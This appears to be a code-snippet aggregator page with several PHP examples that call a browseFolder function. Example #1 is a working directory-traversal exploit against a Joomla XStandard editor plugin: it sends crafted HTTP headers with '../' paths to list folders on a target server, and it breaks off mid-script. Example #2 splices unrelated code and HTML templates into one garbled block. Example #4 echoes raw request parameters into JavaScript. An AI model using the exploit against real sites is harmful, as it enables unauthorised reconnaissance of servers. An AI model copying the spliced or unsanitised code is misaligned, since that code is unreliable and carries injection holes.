Beispiel #1
0
$folder = $argv[3];
if (empty($host) || empty($path)) {
    echo "usage: php {$argv[0]} <host> <path> [<folder>]\n";
    echo "       php {$argv[0]} example.org /joomla\n";
    echo "       php {$argv[0]} example.org /joomla ../../\n";
    exit;
}
echo "http://" . $host . $path . "/images/stories/\n\n";
if (empty($folder)) {
    $lev = "./";
    for ($i = 0; $i <= 7; $i++) {
        echo browseFolder($host, $path, $lev);
        $lev .= "../";
    }
} else {
    echo browseFolder($host, $path, $folder);
}
function browseFolder($host, $path, $folder)
{
    $packet = "GET {$path}/plugins/editors/xstandard/attachmentlibrary.php HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "X_CMS_LIBRARY_PATH: {$folder}\r\n";
    $packet .= "Connection: Close\r\n\r\n";
    $o = @fsockopen($host, 80);
    if (!$o) {
        echo "\n[x] No response...\n";
        die;
    }
    fputs($o, $packet);
    while (!feof($o)) {
        $data .= fread($o, 1024);
Beispiel #2
0
<?php

include_once 'ressources/class.templates.inc';
include_once 'ressources/class.ldap.inc';
include_once 'ressources/class.users.menus.inc';
include_once 'ressources/class.mysql.inc';
include_once 'ressources/class.samba.aliases.inc';
include_once "ressources/class.harddrive.inc";
if (isset($_GET["popup"])) {
    popup();
    exit;
}
if (isset($_GET["startpath"])) {
    browseFolder();
    exit;
}
if (isset($_GET["browser-infos"])) {
    brower_infos();
    exit;
}
if (isset($_POST["create-folder"])) {
    folder_create();
    exit;
}
if (isset($_POST["delete-folder"])) {
    folder_delete();
    exit;
}
js();
function js()
{
				
				<p><?php 
                    _e("If you want to remove some backgrounds, use the browser below.");
                    ?>
</p>
				
				<fieldset>
					<legend><?php 
                    _e("List");
                    ?>
</legend>
					
					<div class="browse">
						<?php 
                    // List the background files
                    browseFolder($backgrounds_folder, 'backgrounds');
                    ?>
					</div>
				</fieldset>
				
				<h4><?php 
                    _e("Notice");
                    ?>
</h4>
				
				<p><?php 
                    _e("Define a homepage notice for all your users, such as a warn, an important message or an advert with this tool.");
                    ?>
</p>
				
				<label class="master" for="notice_none"><input id="notice_none" type="radio" name="notice_type" value="none"<?php 
Beispiel #4
0
<?php
	include_once('ressources/class.templates.inc');
	include_once('ressources/class.ldap.inc');
	include_once('ressources/class.users.menus.inc');
	include_once('ressources/class.mysql.inc');
	include_once('ressources/class.samba.aliases.inc');
	include_once("ressources/class.harddrive.inc");

	
	if(isset($_GET["popup"])){popup();exit;}
	if(isset($_GET["startpath"])){browseFolder();exit;}
	if(isset($_GET["browser-infos"])){brower_infos();exit;}
	if(isset($_POST["create-folder"])){folder_create();exit;}
	
	
	js();

function js(){
	
	$page=CurrentPageName();
	echo "YahooWinBrowse(550,'$page?popup=yes&root={$_GET["start-root"]}&field={$_GET["field"]}','Browse')";
	echo $html;
	
	
}


function popup(){
	$page=CurrentPageName();
	if(!isset($_GET["root"])){$_GET["root"]=urlencode(base64_encode("disks"));}else{
		$js="BrowserExpand('".urlencode(base64_encode(base64_decode($_GET["root"])))."');";